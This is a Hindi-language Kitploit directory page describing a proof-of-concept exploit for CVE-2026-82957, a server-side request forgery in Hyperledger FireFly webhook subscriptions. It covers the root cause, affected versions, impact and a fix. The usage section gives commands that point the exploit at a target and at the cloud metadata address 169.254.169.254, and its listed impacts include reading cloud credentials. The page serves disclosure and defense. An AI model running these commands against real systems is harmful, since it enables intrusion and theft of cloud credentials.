Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-82957 — CVE-2026-82957 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Hyperledger FireFly वेबहुक सब्सक्रिप्शन में एक SSRF है जो नोड को आंतरिक या क्लाउड मेटाडेटा URL का अनुरोध करने के लिए बाध्य करता है। | Kitploit
उपकरण/GitHubGitHub/hakaioffsec/cve-2026-82957
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षा
GitHubhakaioffsec/cve-2026-82957

CVE-2026-82957

CVE-2026-82957 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Hyperledger FireFly वेबहुक सब्सक्रिप्शन में एक SSRF है जो नोड को आंतरिक या क्लाउड मेटाडेटा URL का अनुरोध करने के लिए बाध्य करता है।

रिपॉजिटरी देखें
123 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Hyperledger FireFly Webhook सदस्यताओं में SSRF (CVE-2026-82957)

CVE-2026-82957 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Hyperledger FireFly Core के webhooks इवेंट ट्रांसपोर्ट में एक Server-Side Request Forgery (CWE-918) है। कोई भी क्लाइंट जो इवेंट सदस्यता बना सकता है, वह एक webhook रजिस्टर कर सकता है जिसका लक्ष्य URL कभी मान्य नहीं किया जाता — जब कोई मेल खाता इवेंट होता है, तो FireFly नोड स्वयं HTTP अनुरोध जारी करता है। इसे केवल-आंतरिक पतों (क्लाउड मेटाडेटा, लूपबैक, RFC1918 सेवाएँ) की ओर इंगित करने से नोड एक confused deputy बन जाता है।

आवश्यकताएँ

केवल Python 3 मानक लाइब्रेरी — कोई निर्भरता नहीं।

$ python3 cve_2026_82957.py --help

उपयोग

चरण 1 — उस मशीन पर एक लिसनर शुरू करें जिस पर FireFly नोड को हिट करना चाहिए (SSRF शिकार):

$ python3 -m http.server 8000 --bind 0.0.0.0

चरण 2 — एक्सप्लॉइट चलाएँ। -t FireFly API बेस URL है, -u वह URL है जिसे नोड को अनुरोध करने के लिए बाध्य किया जाएगा:

# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED

# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/

# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED

Docker में चल रहे FireFly नोड के लिए, <host-ip> ब्रिज नेटवर्क गेटवे है — इसे docker network inspect <network> से खोजें (फ़ील्ड IPAM.Config.Gateway, उदाहरण के लिए 172.21.0.1)।

अपेक्षित आउटपुट:

[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.

लिसनर लॉग — स्रोत IP FireFly नोड का कंटेनर IP है, हमलावर की मशीन नहीं, जो साबित करता है कि अनुरोध सर्वर द्वारा जाली बनाया गया था। SSRF की पुष्टि हुई:

172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -

प्रभावित संस्करण

  • वेबहुक ट्रांसपोर्ट वाले सभी संस्करण, v1.5.0 सहित
  • कमिट 215c69181 ("Base implementation of webhooks invocation", 2021-06-20) में पेश किया गया
  • e3c9b8d89 (main) में अभी भी मौजूद — दोनों के बीच कोई भी कमिट होस्ट सत्यापन नहीं जोड़ता
  • v1.4.0 और v1.5.0 के विरुद्ध लाइव-सत्यापित

मूल कारण

फ़ाइल: internal/events/webhooks/webhooks.go

पंक्तिकोडसमस्या
191url: options.GetString("url")लक्ष्य उपयोगकर्ता इनपुट से शब्दशः लिया गया
266ValidateOptions(...)प्रारूप/हेडर/टाइमआउट सत्यापित करता है लेकिन होस्ट कभी नहीं
394req.r.Execute(req.method, req.url)अनुरोध भेजा जाता है

हल किए गए गंतव्य पर कोई allowlist/denylist नहीं है: लूपबैक, निजी (RFC1918), या लिंक-लोकल (169.254.0.0/16) पतों के लिए कोई ब्लॉक नहीं, और होस्ट व स्कीम दोनों पूरी तरह हमलावर के नियंत्रण में हैं। FireFly डिफ़ॉल्ट रूप से कोई API प्रमाणीकरण प्लगइन नहीं भेजता, इसलिए सदस्यता निर्माण अप्रमाणित हो सकता है।

प्रभावित एंडपॉइंट

  • POST /api/v1/namespaces/{ns}/subscriptions — दुर्भावनापूर्ण वेबहुक बनाता है (आंतरिक URL के लिए 201 Created लौटाता है)
  • कोई भी API कॉल जो सदस्यता फ़िल्टर से मेल खाने वाली घटना उत्पन्न करता है (जैसे POST /api/v1/namespaces/{ns}/messages/broadcast) — जाली अनुरोध को ट्रिगर करता है

प्रभाव

CWE-918 सर्वर-साइड रिक्वेस्ट फ़ॉर्जरी। एक हमलावर यह कर सकता है:

  • बाहरी रूप से उजागर न किए गए आंतरिक सेवाओं तक पहुँचना (डेटाबेस, एडमिन पैनल, साइडकार कंटेनर)
  • इंस्टेंस मेटाडेटा एंडपॉइंट (169.254.169.254) से क्लाउड क्रेडेंशियल पढ़ना → क्लाउड खाते में प्रवेश
  • पूर्ण-पठन SSRF: "reply": true के साथ आंतरिक प्रतिक्रिया हमलावर को FireFly घटना के रूप में लौटाई जाती है — ब्लाइंड नहीं
  • त्रुटि/समय अंतर के माध्यम से आंतरिक नेटवर्क का पोर्ट स्कैन करना

CVSS

~8.5 उच्च CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — गंभीरता इस पर निर्भर करती है कि API प्रमाणीकरण के पीछे है या नहीं।

समाधान

ValidateOptions में, URL को पार्स करें, होस्ट को हल करें, और लूपबैक/निजी/लिंक-लोकल/अनिर्दिष्ट पतों को अस्वीकार करें; स्कीम को http/https तक सीमित करें; DNS-रिबाइंडिंग को विफल करने के लिए कनेक्शन के समय हल किए गए IP को पुनः जाँचें (कस्टम DialContext); अधिमानतः अनुमत वेबहुक होस्ट की एक कॉन्फ़िगर करने योग्य allowlist उपलब्ध कराएँ।

अस्वीकरण

यह टूल केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। इसका उपयोग केवल उन सिस्टम पर करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति है। लेखक इस प्रोग्राम के किसी भी दुरुपयोग या क्षति के लिए उत्तरदायी नहीं है।

QuimeraX Intelligence

QuimeraX Intelligence एक उन्नत EASM और साइबर खतरा खुफिया (Cyber Threat Intelligence) प्लेटफ़ॉर्म है जो जटिल प्रणालियों में महत्वपूर्ण कमज़ोरियों की पहचान करने में विशेषज्ञता रखता है। प्लेटफ़ॉर्म सक्रिय रूप से सुरक्षा खतरों की निगरानी, पहचान और ग्राहकों को सतर्क करता है, जिससे पारदर्शिता और संभावित जोखिमों के प्रति त्वरित प्रतिक्रिया सुनिश्चित होती है। यदि ग्राहकों के सिस्टम कमज़ोर पाए जाते हैं, तो उन्हें तत्काल सूचनाएँ और व्यापक रिपोर्ट प्राप्त होती हैं, जिससे वे सुरक्षात्मक कार्रवाई कर सकें। और जानें

Hakai Security

Hakai Security एक साइबर सुरक्षा कंपनी है जिसकी स्थापना सुरक्षा पेशेवरों द्वारा की गई है, जो तकनीकी उत्कृष्टता के लिए प्रतिबद्ध है। हम अनुकूलित सुरक्षा समाधान प्रदान करते हैं जिनमें उन्नत पेनेट्रेशन टेस्टिंग, यथार्थवादी Red Team सिमुलेशन, और सुरक्षित विकास प्रथाएँ शामिल हैं, ताकि हमारे ग्राहकों की संपत्तियों को विकसित होते साइबर खतरों से सक्रिय रूप से सुरक्षित रखा जा सके।

Hacking Club

Hacking Club एक प्रशिक्षण प्लेटफ़ॉर्म है जहाँ आप हमारी सुरक्षा परामर्श फर्म में कार्यरत विशेषज्ञों द्वारा बनाए गए व्यावहारिक पाठों, लैब्स और चुनौतियों के माध्यम से साइबर सुरक्षा सीखते हैं: सीधे युद्धक्षेत्र से आपके प्रशिक्षण तक।

टूल डाउनलोड करें